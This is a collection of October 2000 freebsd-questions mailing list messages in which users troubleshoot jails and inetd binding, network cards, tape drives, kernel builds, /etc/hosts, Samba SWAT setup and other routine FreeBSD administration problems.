> > > >  > 
> > > > > Cheers,
> > > > > Marc
> > > > > 
> > > > > On Sun, Oct 29, 2000 at 11:40:36PM -0400, The Hermit Hacker wrote:
> > > > > > 
> > > > > > Morning all ...
> > > > > > 
> > > > > > 	I'm running 4.x-STABLE on a machine, that I have setup two jail
> > > > > > environments over the base system, but the second one is getting the
> > > > > > following "errors" generated:
> > > > > > 
> > > > > > Oct 29 22:32:20 mail inetd[97608]: telnet/tcp: bind: Address already in use
> > > > > > Oct 29 22:32:20 mail inetd[97608]: ftp/tcp: bind: Address already in use
> > > > > > 
> > > > > > 	I have portmap disabled in both jail(s) and the base OS, and inetd
> > > > > > bound in the base OS to its IP ... do I have to bind inside of each jail
> > > > > > to?  I thought it got bound only to those IPs that were visible, no?
> > > > > > 
> > > > > > 	Hrmmm ... if I do a 'telnet localhost smtp' inside of the second
> > > > > > env, it gets its own sendmail ... if I do a 'ftp localhost', it gets the
> > > > > > ftp server of the first env ... samn thing with telnet, it gets me the
> > > > > > first env ...
> > > > > > 
> > > > > > 	If I add the -a IP option to inetd_flags, I can eliminate the
> > > > > > behaviour ... is this the way its supposed to work?
> > > > > > 
> > > > > > Thanks ...
> > > > > > 
> > > > > > 
> > > > > > Marc G. Fournier                   ICQ#7615664               IRC Nick: Scrappy
> > > > > > Systems Administrator @ hub.org 
> > > > > > primary: scrappy@hub.org           secondary: scrappy@{freebsd|postgresql}.org 
> > > > > 
> > > > > 
> > > > 
> > > > Marc G. Fournier                   ICQ#7615664               IRC Nick: Scrappy
> > > > Systems Administrator @ hub.org 
> > > > primary: scrappy@hub.org           secondary: scrappy@{freebsd|postgresql}.org 
> > > 
> > > 
> > 
> > Marc G. Fournier                   ICQ#7615664               IRC Nick: Scrappy
> > Systems Administrator @ hub.org 
> > primary: scrappy@hub.org           secondary: scrappy@{freebsd|postgresql}.org 
> 
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Hi,

How to enable compression on HP SureStore T20  for dump?
Is it possible to backup 20MB to a single tape (Travan 10GB native)?

FreeBSD 4.1.1-STABL

sym0: <875> port 0xb400-0xb4ff mem
0xd9800000-0xd9800fff,0xda000000-0xda0000ff irq 11 at device 11.0 on
pci0
sym0: Symbios NVRAM, ID 7, Fast-20, SE, parity checking
sym0: open drain IRQ line driver, using on-chip SRAM
sym0: using LOAD/STORE-based firmware.(noperiph:sym0:0:-1:-1): SCSI BUS
reset delivered.

sa0 at sym0 bus 0 target 4 lun 0
sa0: <HP T20 3.01> Removable Sequential Access SCSI-2 device
sa0: 3.300MB/s transfers

# mt comp enable
# mt status
Mode      Density              Blocksize      bpi      Compression
Current:  0x47                 512 bytes      0        disabled
---------available modes---------
0:        0x47                 512 bytes      0        none
1:        0x47                 512 bytes      0        none
2:        0x47                 512 bytes      0        none
3:        0x47                 512 bytes      0        none
---------------------------------
Current Driver State: at rest.
---------------------------------
File Number: 0  Record Number: 0

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*slap upside the head* -- Sorry... you can tell it's Monday because I've
forgotten how to read...  :))

Yes, I believe that means it's listening via ipv4 and ipv6.  :)

Sorry,
Marc

On Mon, Oct 30, 2000 at 09:42:14AM -0400, The Hermit Hacker wrote:
> On Mon, 30 Oct 2000, Marc Silver wrote:
> 
> > Hi there,
> > 
> > I've never really read the docs, but I'm very familiar with chrooting on
> > Solaris, so it's just something I knew.  Perhaps you could submit some
> > documentation to the project??  ;)
> > 
> > tcp4 (afaik) means that it's using ipv4.  This doesn't mean it's
> > listening on ipv6.  
> 
> correct, but what does the 'tcp46' below mean? :)
> 
> 
> > 
> > Cheers,
> > Marc
> > 
> > On Mon, Oct 30, 2000 at 08:52:38AM -0400, The Hermit Hacker wrote:
> > > On Mon, 30 Oct 2000, Marc Silver wrote:
> > > 
> > > > Are any of the services on the base machine binding to all the IP's
> > > > perhaps??
> > > > 
> > > > You'de be looking at something like this:  (netstat -na | grep LIST)
> > > > 
> > > > tcp4       0      0  192.168.0.10.80        *.* LISTEN
> > > > tcp4       0      0  *.25                   *.* LISTEN
> > > > tcp4       0      0  192.168.0.10.53        *.* LISTEN
> > > > tcp4       0      0  192.168.0.10.53        *.* LISTEN
> > > > tcp4       0      0  *.6000                 *.* LISTEN
> > > > tcp4       0      0  *.3306                 *.* LISTEN
> > > > tcp4       0      0  *.22                   *.* LISTEN
> > > > 
> > > > 
> > > > Notice how for instance port 22, 25 and 3306 are bound to all ports on
> > > > the machine, which would mean that you couldn't bind sshd in the chroot
> > > > to an IP because there is already an sshd using it.  
> > > 
> > > Nope, that doesn't seem to be it, but one I hadn't thought of checking ...
> > > will have to keep an eye on that one thanks:
> > > 
> > > tcp4       0      0  216.126.85.73.23       *.*                    LISTEN
> > > tcp4       0      0  216.126.85.73.21       *.*                    LISTEN
> > > tcp4       0      0  216.126.85.28.23       *.*                    LISTEN
> > > tcp4       0      0  216.126.85.28.21       *.*                    LISTEN
> > > tcp4       0      0  216.126.85.73.22       *.*                    LISTEN
> > > tcp46      0      0  *.22                   *.*                    LISTEN
> > > tcp4       0      0  216.126.85.73.587      *.*                    LISTEN
> > > tcp4       0      0  216.126.85.73.25       *.*                    LISTEN
> > > tcp4       0      0  216.126.85.28.587      *.*                    LISTEN
> > > tcp4       0      0  216.126.85.28.25       *.*                    LISTEN
> > > tcp4       0      0  216.126.85.28.2000     *.*                    LISTEN
> > > tcp4       0      0  216.126.85.28.143      *.*                    LISTEN
> > > tcp4       0      0  216.126.84.253.22      *.*                    LISTEN
> > > tcp4       0      0  216.126.85.28.22       *.*                    LISTEN
> > > tcp4       0      0  216.126.85.28.53       *.*                    LISTEN
> > > tcp4       0      0  216.126.85.28.80       *.*                    LISTEN
> > > tcp4       0      0  216.126.84.253.21      *.*                    LISTEN
> > > 
> > > tcp46 means its doing both IPv4 and IPv6?
> > > 
> > > The *.22 above was the new one I added on though, fixed its sshd_conf file
> > > ...
> > > 
> > > So far, as far as I can tell, binding the jail envs inetd to an IP appears
> > > to have fixed it, but from my read of teh docs, taht shouldn't have been
> > > required ... am I reading the docs wrong? *raised eyebrow*
> > > 
> > > > On Mon, Oct 30, 2000 at 07:50:49AM -0400, The Hermit Hacker wrote:
> > > > > On Mon, 30 Oct 2000, Marc Silver wrote:
> > > > > 
> > > > > > Hi there,
> > > > > > 
> > > > > > It's my understanding that the chroot's (jails) should run on different
> > > > > > IP addresses to that of your base system.  
> > > > > > 
> > > > > > For instance, let's say you have three addresses:
> > > > > > 
> > > > > > 192.168.0.10
> > > > > > 192.168.0.11
> > > > > > 192.168.0.12
> > > > > > 
> > > > > > 192.168.0.10 would be that of your base machine and all it's services,
> > > > > > which you should make sure are bound to just that address, and none of
> > > > > > the others.  The same would apply for your chroots.  Their services
> > > > > > should also all be running on a seperate dedicated IP address.
> > > > > 
> > > > > Right, I read that too.  the base machine is on 216.126.84.253, while the
> > > > > two envs are on 216.126.85.28 and 216.126.85.73 respectively ... that is
> > > > > why I'm confused by the 'Address already in use' issue ...
> > > > > 
> > > > >  > 
> > > > > > Cheers,
> > > > > > Marc
> > > > > > 
> > > > > > On Sun, Oct 29, 2000 at 11:40:36PM -0400, The Hermit Hacker wrote:
> > > > > > > 
> > > > > > > Morning all ...
> > > > > > > 
> > > > > > > 	I'm running 4.x-STABLE on a machine, that I have setup two jail
> > > > > > > environments over the base system, but the second one is getting the
> > > > > > > following "errors" generated:
> > > > > > > 
> > > > > > > Oct 29 22:32:20 mail inetd[97608]: telnet/tcp: bind: Address already in use
> > > > > > > Oct 29 22:32:20 mail inetd[97608]: ftp/tcp: bind: Address already in use
> > > > > > > 
> > > > > > > 	I have portmap disabled in both jail(s) and the base OS, and inetd
> > > > > > > bound in the base OS to its IP ... do I have to bind inside of each jail
> > > > > > > to?  I thought it got bound only to those IPs that were visible, no?
> > > > > > > 
> > > > > > > 	Hrmmm ... if I do a 'telnet localhost smtp' inside of the second
> > > > > > > env, it gets its own sendmail ... if I do a 'ftp localhost', it gets the
> > > > > > > ftp server of the first env ... samn thing with telnet, it gets me the
> > > > > > > first env ...
> > > > > > > 
> > > > > > > 	If I add the -a IP option to inetd_flags, I can eliminate the
> > > > > > > behaviour ... is this the way its supposed to work?
> > > > > > > 
> > > > > > > Thanks ...
> > > > > > > 
> > > > > > > 
> > > > > > > Marc G. Fournier                   ICQ#7615664               IRC Nick: Scrappy
> > > > > > > Systems Administrator @ hub.org 
> > > > > > > primary: scrappy@hub.org           secondary: scrappy@{freebsd|postgresql}.org 
> > > > > > 
> > > > > > 
> > > > > 
> > > > > Marc G. Fournier                   ICQ#7615664               IRC Nick: Scrappy
> > > > > Systems Administrator @ hub.org 
> > > > > primary: scrappy@hub.org           secondary: scrappy@{freebsd|postgresql}.org 
> > > > 
> > > > 
> > > 
> > > Marc G. Fournier                   ICQ#7615664               IRC Nick: Scrappy
> > > Systems Administrator @ hub.org 
> > > primary: scrappy@hub.org           secondary: scrappy@{freebsd|postgresql}.org 
> > 
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* Justin Stanford <jus@security.za.net> [20001030 15:05]:
=>The card's seem to perform perfectly fine once ifconfig has been used to
=>force the cards to 10mbit - this just has to be done on every boot.

Then it is possible to force that in rc.conf (if you're not gonna buy
another card!) using -mediaopt. I've seen very informed comments in this
list that rl are not good cards. Pls search the lists

=>
=>Is this a bug in the driver, anyone? I would think so, as the card works
=>fine under Linux...

Maybe it is..I cannot attest to that either..

=>--
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=>
=>On Mon, 30 Oct 2000, Marc Silver wrote:
=>
=>> Hi Jus,
=>> 
=>> I experienced the same problem.  We eventually opted to use different
=>> cards (Intel EtherExpress Pro's) as we weren't getting great performance
=>> out of the rl's either...
=>> 
=>> Cheers,
=>> Marc
=>> 
=>> On Mon, Oct 30, 2000 at 12:32:38PM +0200, Justin Stanford wrote:
=>> > Has anyone else noticed a problem on 10mbit networks with a NIC using the
=>> > rl driver that fails to autoselect properly and uses 100mbit? I have two
=>> > such cases on the same network, two different machines and FreeBSD
=>> > versions (4.0-STABLE and 4.1.1-STABLE). I use ifconfig to force 10mbit.
=>> > 
=>> > Regards,
=>> > jus
=>> > 
=>> > --
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=>> > jus@security.za.net
=>> > www.security.za.net
=>> > IT Security and Solutions
=>> 
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From owner-freebsd-questions  Mon Oct 30  5:55:26 2000
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Problem solved.  What I did was to add crypto option when installing
FreeBSD and that really solved the problem.  This is not added by
default (probably the previous install I made a boo boo) but when I added
this the port installed perfectly.

Anybody has the answer to why the installer adds OpenSSL but not
the crypo lib for OpenSSL? Some US export lisence bull****?

And, pkg_add only worked in adding the port but it wouldn't start vtund
because some crypt lib from OpenSSL was missing.

PeTe


	>-----Original Message-----
	>From:	Rino Mardo [SMTP:helixfish@gmx.net]
	>Sent:	Monday, October 30, 2000 2:38 PM
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	>Subject:	RE: Vtun 2.3 and FreeBSD 4.1.1
	>
	>why not install the package instead?


> > -----Original Message-----
> > From: owner-freebsd-questions@FreeBSD.ORG
> > [mailto:owner-freebsd-questions@FreeBSD.ORG]On Behalf Of Per Tore Larsen
> > Sent: Monday, October 30, 2000 4:53 PM
> > To: 'freebsd-questions@freebsd.org'
> > Subject: Vtun 2.3 and FreeBSD 4.1.1
> >
> >
> > > Hi.
> > >
> > > Have a problem one of you might be able to help me with.
> > > If any actually has build the vtun port, please tell me how you
> > did this.
> > > (The system described is a "clean install". With only bash and pine
> > > installed from the ports collection. Everything else is default.
> > >
> > > When I try to make the the vtun 2.3 under FreeBSD 4.1.1 I get the
> > > following
> > > error message:
> > > (the port is located under: /usr/ports/net/vtun)
> > >
> > > *-- Start *--
> > >
> > > bash-2.04# make
> > > This port requires the OpenSSL libarary, which is part of the FreeBSD
> > > crypto distribution but not installed on your machine.  Please see the
> > > "OpenSSL" section in the handbook for instructions on how to obtain
> and
> > > install the FreeBSD OpenSSL distribution.
> > > ** Error code 1
> > >
> > > Stop.
> > >
> > > Huh?? To my knowlede OpenSSL is installed by default in FreeBSD 4.0
> and
> > > greater.
> > >
> > > When to http://www.FreeBSD.org/handbook/openssl.html only to
> > verify this.
> > > The only option that the handbook could help me with, was that
> > if I wanted
> > > some US restricted crypto options I needed to define this in
> > > '/etc/make.conf'
> > > and run 'make world'. Well, the file '/etc/make.conf' does not
> > exist on my
> > > system, and I have never run 'make world' so I desided this shouldn't
> be
> > > nessesary for this port to work.  I'm I wrong in this?
> > >
> > > My system:
> > > Freebsd 4.1.1
> > > IPFILTER and IPFILTER_LOG compiled in kernel.
> > > Running NAT and a simple IPF config.
> > > Ports installed:
> > > Bash2
> > > Pine
> > >
> > > Thanks for any help you could give me,
> > >
> > > Pete
> > >
> > >
> > >
> > >
> > >
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On Sun, Oct 29, 2000 at 10:42:37AM -0500, Jaime wrote:
> On Sun, 29 Oct 2000, Sverre Valgeirsson wrote:
> > Hi. I'm trying to put more memory into my 486 DX2 computer.
> > It's got 16MB at the moment (2 8MB 72 pin simms), but when I add one more 8MB simm, the BIOS sees it, but the kernel panics at boot with a "page fault" error.
> > I really don't know where I should begin searching for the error here. Any ideas?
> 
> 	Sounds like a defective SIMM, to be honest.
 
It works in my Amiga computer, so it's probably not that.
I've now tried 8 different simms in the machine, I've put them in different slots, but nothing works.
Can it be something about EDO/non EDO problems? I don't know if the simms I'm tying 
now are EDO, but I do know that the old ones are not..

/sverre


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* Brett Gianpetro <brettg@whatupg.com> [20001030 12:15]:
=>Well, I'm new to FreeBSD and I'm trying to compile a custom kernel for the
=>first time.  I just recently did a cvsup and built the world, which went
=>smoothly.  Now I was running 'make buildkernel' and it failed.  Here
=>is what the failure looks like:

I gather that umass is the USB mass storage disk and you'd do better
commenting out some entries in the USB section if you don't have
them on your box.

This section.....

=>
=># USB support
=>device		uhci		# UHCI PCI->USB interface
=>device		ohci		# OHCI PCI->USB interface
=>device		usb		# USB Bus (required)
=>device		ugen		# Generic
=>device		uhid		# "Human Interface Devices"
=>device		ukbd		# Keyboard
=>device		ulpt		# Printer
=>device		umass		# Disks/Mass storage - Requires scbus and
=>da
=>device		ums		# Mouse
=># USB Ethernet, requires mii
=>#device		aue		# ADMtek USB ethernet
=>#device		cue		# CATC USB ethernet
=>#device		kue		# Kawasaki LSI USB ethernet
=>
=>#My try at AWE64
=>device		pcm
=>#device		sbc
=>#device		joy0	at isa? port IO_GAME
=>
=>
=>Any help would be appreciated.

HTH

-Wash

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I (with the help from a friend who is not available) installed FreeBSD this
weekend. It appeared that DNS was failing so had to modify a file to contain
all of the IPs and PC names....Can you tell me where that file is and the
name of it? I do remember that it had 'Relay' contained in it.


Thanks,

Jim Persinger
Manager, Systems and Software Development
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The only file i can think of is /etc/hosts. Try 'man hosts' for the file
format.

-johnnnnnnnn

> I (with the help from a friend who is not available) installed FreeBSD this
> weekend. It appeared that DNS was failing so had to modify a file to contain
> all of the IPs and PC names....Can you tell me where that file is and the
> name of it? I do remember that it had 'Relay' contained in it.




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* James Wang <myfreebsd@sina.com> [20001030 07:23]:
=>Hi all:
=>
=>     I have a ThinkPad 315ED,i insert a de660 pcmica in it ,but it does not work.
=>The command ifconfig can not found the interface,
=>command dmesg found the card in slot.
=>Please tell me what i should do.

I've seen something like this for /etc/rc.conf

pccard_enable="YES"
pccard_ifconfig="inet 1.2.3.4  netmask 5.6.7.8"
Replace the numbers with your own
Do a man rc.conf
And also look at /etc/defaults/rc.conf

HTH


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From owner-freebsd-questions  Mon Oct 30  6:38:50 2000
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I inherited a Ricoh CD-RW from my father in law.  He said it just stop working.
It is a Ricoh MP7040A
I am seeing if I can get it to run.  During bootup.  It is recognized and named
properly along with my regular CD-ROM drive.

During the FBSD installation Process, I am even given a choice of CDROM drives
to install from.  When I select the Ricoh, I get an I/O error# 5.  What is that?

Would it be worth it to flash the firmware under Windows?  Or do I have a 4X
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I do all the things that the docs say, but I still cann't use 
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WHY?

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That was the file.....It contained:

IP, then what appears to be a system name, and then a send name. For
example:

63.174.216.138   jpersinger.greenmachine.net jpersinger

is the first jpersinger, the machine name or the user name? or is the second
the user name?

All other users can not send mail, but can get it.

Mine works as expected.


Thanks

Jim Persinger
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The only file i can think of is /etc/hosts. Try 'man hosts' for the file
format.

-johnnnnnnnn

> I (with the help from a friend who is not available) installed FreeBSD
this
> weekend. It appeared that DNS was failing so had to modify a file to
contain
> all of the IPs and PC names....Can you tell me where that file is and the
> name of it? I do remember that it had 'Relay' contained in it.




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How can I get systemmessages from FreeBSD 3.3 to be displayed with
national (swedish) character set.

Regards
Lars Mattsson

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On Mon, Oct 23, 2000 at 08:40:33AM -0600, Peter wrote:
> So, i reboot to single user mode, same thing, recompile the kernel same
> exact thing. I don't know if this was happening before but I also noticed
> that sendmail is dumping on signal 12 also (don't really care about
> sendmail now, I need to get to my isp [at work now])  All I know that I
> did in the period it was working and now dumping (while connected via
> user-ppp) I did cvsup and I did src-all (trying to upgrade from
> 4.0-Release), I never recompiled that source all I did was
> reboot.  Question if it was cvsup anyway to get my ppp back? I sure can't
> continue to cvsup with no ppp (have not tried kernel pppd yet).  I have
> recompiled the kernel several times since then, still no go, if you need
> more information I'll put up gdb ppp ppp.core up (only later tonight when
> I get home and use linux to connect to net.
> 

remake the world, this is needed after a source update (otherwise you end up
with applications making... invalid syscalls, since the kernel is not the same
as the one they were compiled for).
Making the world can be quite long or even very long, depending on your comp,
so you might prefer downgrading your kernel (by grabbing 4.0-RELEASE sources,
and compiling the kernel only) or doing a binary installation (eg by burning a
4.1.1-REL cd).
Instructions for `make world' can be found in
/usr/share/doc/handbook/makeworld.html, if you installed FreeBSD doc (it is
the default with all but the minimal install set, I think).

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-----Original Message-----
From: Fabiana [mailto:morgana@telocity.com]
Sent: Monday, October 30, 2000 9:57 AM
To: hhh@ciac.jl.cn
Subject: RE: problem with swat of Samba 2.0.7


The only thing that occurs to me is that you might not have added the
relevant lines to services and inetd.conf. Run "man swat" and it will tell
you the lines you need to add to get it to work. If you already did that and
rebooted, I hope someone else has other ideas. Good luck!

F.

PS: Here it is

Setting up swat:

Edit /etc/services to activate swat port:
swat  901/tcp   #Samba web administration tool.


Edit /etc/inetd.conf:
# Samba web administration tool
swat stream tcp nowait.400 root /usr/local/sbin/swat swat

Samba can now be configured using a web browser by going to
http://localhost:901/ and logging-in as root.

I got it from http://www.mostgraveconcern.com/freebsd/
Section Samba SMB server, check it out.


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I do all the things that the docs say, but I still cann't use
http://localhost:901 to use swat to config samba config file.

WHY?

System: FreeBSD-current (Oct. 29, 2000)
Apache-1.3.12 + Php 4.0.2
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I was wondering if anybody could point me in the right direction to =
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Any help would be greatly appreciated

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From owner-freebsd-questions  Mon Oct 30  7: 6:14 2000
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> That was the file.....It contained:

'man hosts':
     The hosts file contains information regarding the known hosts on the net-
     work.  For each host a single line should be present with the following
     information:

           Internet address
           official host name
           aliases

> 63.174.216.138   jpersinger.greenmachine.net jpersinger

That is the IP address of your machine, the official (full) name of the
machine, then a single alias.

In order to set up a local network, you need to make sure that all of
the machines on the network exist in that /etc/hosts file, and that each
machine has a complete copy of the /etc/hosts file.

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On Mon, Oct 30, 2000 at 03:06:39PM -0000, Oliver Mills wrote:
> I was wondering if anybody could point me in the right direction to download:
>   a..         Apache Web Server

/usr/ports/www/ - there are loads there.

>   b..         Send Mail

It's part of the base system.
 
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On Mon, Oct 30, 2000 at 12:32:38PM +0200, Justin Stanford wrote:
> Has anyone else noticed a problem on 10mbit networks with a NIC using the
> rl driver that fails to autoselect properly and uses 100mbit? I have two
> such cases on the same network, two different machines and FreeBSD
> versions (4.0-STABLE and 4.1.1-STABLE). I use ifconfig to force 10mbit.

Yes, I have noticed this on a RelTek 8129A which I'm ripping out this
afternoon because I received backordered Tulip based cards. The machine
in question was built Oct 16th (world, etc) and has been doing strange
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I heard FreeBSD's pthread implemention is buggy, 
several articles already reported problems, from small
program only has few lines to complex program like
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On 30-Oct-00 Lars Mattsson wrote:
> How can I get systemmessages from FreeBSD 3.3 to be displayed with
> national (swedish) character set.
> 
> Regards
> Lars Mattsson
> 
> lars.mattsson@s1.mil.se

In rc.conf:

keymap="swedish.iso"
font8x16="iso-8x16"
font8x14="iso-8x14"
font8x8="iso-8x8"


and then in your .login:

setenv LANG sv_SE.ISO_8859-1

does the trick!

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Thanks for the fast response...I need to copy the host file to each PC? I
don't see that file on my system and it appears to function...help!

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> That was the file.....It contained:

'man hosts':
     The hosts file contains information regarding the known hosts on the
net-
     work.  For each host a single line should be present with the following
     information:

           Internet address
           official host name
           aliases

> 63.174.216.138   jpersinger.greenmachine.net jpersinger

That is the IP address of your machine, the official (full) name of the
machine, then a single alias.

In order to set up a local network, you need to make sure that all of
the machines on the network exist in that /etc/hosts file, and that each
machine has a complete copy of the /etc/hosts file.

-johnnnnnnn



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From owner-freebsd-questions  Mon Oct 30  7:42:38 2000
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still unable to use the cut and paste features of moused. It is a 2 button
mouse, and i know that i must enable the third button emulation but it seems
not working...


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Brett Gianpetro wrote:
> 
> Well, I'm new to FreeBSD and I'm trying to compile a custom kernel for the
> first time.  I just recently did a cvsup and built the world, which went
> smoothly.  Now I was running 'make buildkernel' and it failed.  Here
> is what the failure looks like:
> 
> linking kernel
> umass.o: In function `umass_cam_attach_sim':
> umass.o(.text+0x1257): undefined reference to `cam_simq_alloc'
>
<snip>
> 
> ...and here is my kernel configuration file (TSHARK103000):
> 
<snip>
>
> # SCSI peripherals
> #device         scbus           # SCSI bus (required)
> #device         da              # Direct Access (disks)
> #device         sa              # Sequential Access (tape etc)
> #device         cd              # CD
> #device         pass            # Passthrough device (direct SCSI access)
> 
> # USB support
> device          uhci            # UHCI PCI->USB interface
> device          ohci            # OHCI PCI->USB interface
> device          usb             # USB Bus (required)
> device          ugen            # Generic
> device          uhid            # "Human Interface Devices"
> device          ukbd            # Keyboard
> device          ulpt            # Printer
> device          umass           # Disks/Mass storage - Requires scbus and
> da

device umass *REQUIRES* scbus and da... read the comments.

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The /etc/hosts file has nothing to do with mail, per se.  It is simply a
convenient place to store name to address mappings, like DNS but on a much
smaller scale.  The second jpersinger in your example is just a local alias
for the machine, so that you can connect to it using just jpersinger,
instead of having to type out the whole hostname.  For the hosts table to
work properly, all the machines on your local network should have a line in
the file and, each machine needs a full copy of the file.

With respect to the underlying question (which I guess is something to do
with using a relay host for sending/recieving e-mail), you need to give us
more details of what you curretnly have set up (mail programs, etc), what
functionality you _expect_ to see, and what symptoms are being seen.

Dan

> -----Original Message-----
> From: Jim Persinger [mailto:jpersinger@greenmachine.net]
> Sent: Monday, October 30, 2000 2:42 PM
> To: 'john b p melesky'; Jim Persinger
> Cc: questions@FreeBSD.org
> Subject: RE: Relay section needs appending
> 
> 
> That was the file.....It contained:
> 
> IP, then what appears to be a system name, and then a send name. For
> example:
> 
> 63.174.216.138   jpersinger.greenmachine.net jpersinger
> 
> is the first jpersinger, the machine name or the user name? 
> or is the second
> the user name?
> 
> All other users can not send mail, but can get it.
> 
> Mine works as expected.
> 
> 
> Thanks
> 
> Jim Persinger
> -----Original Message-----
> From: john b p melesky [mailto:john@tyr.internal]
> Sent: Monday, October 30, 2000 9:30 AM
> To: jpersinger@greenmachine.net
> Cc: questions@FreeBSD.org
> Subject: Re: Relay section needs appending
> 
> 
> The only file i can think of is /etc/hosts. Try 'man hosts' 
> for the file
> format.
> 
> -johnnnnnnnn
> 
> > I (with the help from a friend who is not available) 
> installed FreeBSD
> this
> > weekend. It appeared that DNS was failing so had to modify a file to
> contain
> > all of the IPs and PC names....Can you tell me where that 
> file is and the
> > name of it? I do remember that it had 'Relay' contained in it.
> 
> 
> 
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Why would I need to remake the world if all I did was update the source,
never even compiled it/touched it, btw I did do a make world and that solved
the problem, but I'm still curious about why I got it, I would understand if
I recompiled the kernel/ppp but never touched anything except with CVSUP and
src-all.

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On Mon, Oct 23, 2000 at 08:40:33AM -0600, Peter wrote:
> So, i reboot to single user mode, same thing, recompile the kernel same
> exact thing. I don't know if this was happening before but I also noticed
> that sendmail is dumping on signal 12 also (don't really care about
> sendmail now, I need to get to my isp [at work now])  All I know that I
> did in the period it was working and now dumping (while connected via
> user-ppp) I did cvsup and I did src-all (trying to upgrade from
> 4.0-Release), I never recompiled that source all I did was
> reboot.  Question if it was cvsup anyway to get my ppp back? I sure can't
> continue to cvsup with no ppp (have not tried kernel pppd yet).  I have
> recompiled the kernel several times since then, still no go, if you need
> more information I'll put up gdb ppp ppp.core up (only later tonight when
> I get home and use linux to connect to net.
> 

remake the world, this is needed after a source update (otherwise you end up
with applications making... invalid syscalls, since the kernel is not the
same
as the one they were compiled for).
Making the world can be quite long or even very long, depending on your
comp,
so you might prefer downgrading your kernel (by grabbing 4.0-RELEASE
sources,
and compiling the kernel only) or doing a binary installation (eg by burning
a
4.1.1-REL cd).
Instructions for `make world' can be found in
/usr/share/doc/handbook/makeworld.html, if you installed FreeBSD doc (it is
the default with all but the minimal install set, I think).

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Giorgos Keramidas <keramida@ceid.upatras.gr> types:
> On Mon, Oct 30, 2000 at 01:47:36AM -0800, Orion Slevin wrote:
> > It takes emacs a long time to start up on freebsd. Its been
> > like that for every release (for me at least). What can I do
> > to fix it?
> > Any help is much appreciated. Thanks
> Get more memory, perhaps?  Emacs is a somewhat heavy program.  You might
> be running short on memory, and it takes ages to load.

This is a pretty standard performance problem, so the standard
approaches should work. Try running "vmstat 5" when you start emacs.
Expect activity in the flt & pi columns as emacs starts. If you start
seeing things in the po column, that's trouble.

ps after it's start can also help you with that one. Try "ps uxm" to
get a list of all your processes, sorted by (virtual) memory
usage. %MEM is the percentage of real memory used; VSZ is the virtual
set size (how much virtual memory that process is using), and RSS is
the resident set size (how much real memory that process is using). If
VSZ is much larger than RSZ for emacs, that's another sign of trouble.

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Jakob Buck wrote:
> 
> 
> It's here it goes wrong, now the only thing that happens is that a
> white square appers the the upper left corner, and nothing else ?
> 
> Asus V6800 (nvidia geforce ddr)

if i remember reading correctly, you shouldn't use XF86Setup if the card
you're using will use the nv driver... use xf86config.  doublecheck man
nv... i've only got 3.3.6 on my box at work so I don't have that man page 
installed.

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Greetings,


I have the 4-cd set of FreeBSD 2.2.8. I used to have it installed before, 
however now I upgraded my computer (now I got a Pentium III 733MHz with 64Mb 
SDRAM) and after I finished the installation process, it reboots, if I 
change the configuration profile (to remove the hardware conflicts) and try 
to save it, the machine freezes. Otherwise, if I choose not to save the 
profile, it resumes the loading. When it finishes detecting the hardware, it 
saya 'panic: cannot mount root' and then reboots automatically in 15 
seconds, only to return to the same condition...is there anything that can 
be done?

I'd appreciate if there is any chance that I can run FreeBSD once and for 
all...thank you for your attention!

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On Monday 30 October 2000 07:16, Tim McMillen wrote:
> More info, so I'm replying to my own message.  I did make clean,
> deinstaled all packages, then made each port individually.  As many
> people could perhaps tell it was only koffice that doesn't work.  I have
> everything else working.  I guess that would make the kde-2.0 port broken
> still.
> 	I don't know the policy on sending things to ports so if somebody
> could fill me in I'd appreciate it.  I have the error message for the
> koffice port.  It is different than the first one.  Thanks fro putting up
> with these messages,
>

I'd probably try the maintainer  will@FreeBSD.org

but,   please don't shout at me, it compiles and runs fine for me.

Starting from a 4.1 cvsupped to 4.11 with a bucket load of ports installed..
make deinstall....the lot and cvsup ports, I recorded the ports I had 
installed and then sorted them out into not obviously x or kde related and
installed them...then X and its cousins and last kde. 



>
> On Sun, 29 Oct 2000, Tim McMillen wrote:
> > Let me know if I should have sent this to ports@ instead.
> > I have tried about 6-7 times to Build KDE2 and I get mostly different
> > errors each time.  Most tries (all of the last four) I uninstalled all
> > packages and tried to build it from scratch.    Tries 4-6 died will erros
> > in compiling kdelibs.  Finally I decided to do a fresh install of 4.1.1.
> > I CVSup'd my ports Sun afternoon.
> > 	Then I built qt22 port with gif support and did make clean.  Then
> > I went to /usr/ports/x11/kde2 and did make && make install && make clean
> > This time it got through kdelibs, but it died with the below error.  Any
> > ideas?
> > 	I would try making clean, uninstalling all packages and making the
> > port for each component but I'm afraid there's now too much cruft left
> > over for that to work.
> > 	I'm really frustrated since most ports compile perfectly, I've now
> > come to expect that every time.  I have most of the other errors saved
> > too.  Sorry so long.  Thanks,
> >
> > 							Tim
>
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Hmm nod if you did not recompile the kernel or any part of it (ie modules)
there must be something wrong going on...
Wouldn't know what tho. Doh, you got me curious too now, is there something
else than the source modified by cvsup, and can it affect a running system?

--
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On Mon, Oct 30, 2000 at 08:49:30AM -0700, Peter Kuyarov wrote:
> Why would I need to remake the world if all I did was update the source,
> never even compiled it/touched it, btw I did do a make world and that solved
> the problem, but I'm still curious about why I got it, I would understand if
> I recompiled the kernel/ppp but never touched anything except with CVSUP and
> src-all.
> 
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> -----Original Message-----
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> Sent: Monday, October 30, 2000 7:52 AM
> To: Peter
> Cc: freebsd-questions@FreeBSD.ORG
> Subject: Re: ppp takes a dump
> 
> 
> On Mon, Oct 23, 2000 at 08:40:33AM -0600, Peter wrote:
> > So, i reboot to single user mode, same thing, recompile the kernel same
> > exact thing. I don't know if this was happening before but I also noticed
> > that sendmail is dumping on signal 12 also (don't really care about
> > sendmail now, I need to get to my isp [at work now])  All I know that I
> > did in the period it was working and now dumping (while connected via
> > user-ppp) I did cvsup and I did src-all (trying to upgrade from
> > 4.0-Release), I never recompiled that source all I did was
> > reboot.  Question if it was cvsup anyway to get my ppp back? I sure can't
> > continue to cvsup with no ppp (have not tried kernel pppd yet).  I have
> > recompiled the kernel several times since then, still no go, if you need


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Hey there,

You'll definitely want to try and install a more recent version of
FreeBSD in order to benefit from all the new support etc for the
hardware you're running.  Take a look at http://www.freebsd.org for more
info on how you can get the most current release.  :)

Wish I could help you with 2.2.8, but it's a little old, hence my
recommendation to upgrade.

Cheers,
Marc

On Mon, Oct 30, 2000 at 10:58:26AM -0500, Daniel Faria wrote:
> Greetings,
> 
> 
> I have the 4-cd set of FreeBSD 2.2.8. I used to have it installed before, 
> however now I upgraded my computer (now I got a Pentium III 733MHz with 64Mb 
> SDRAM) and after I finished the installation process, it reboots, if I 
> change the configuration profile (to remove the hardware conflicts) and try 
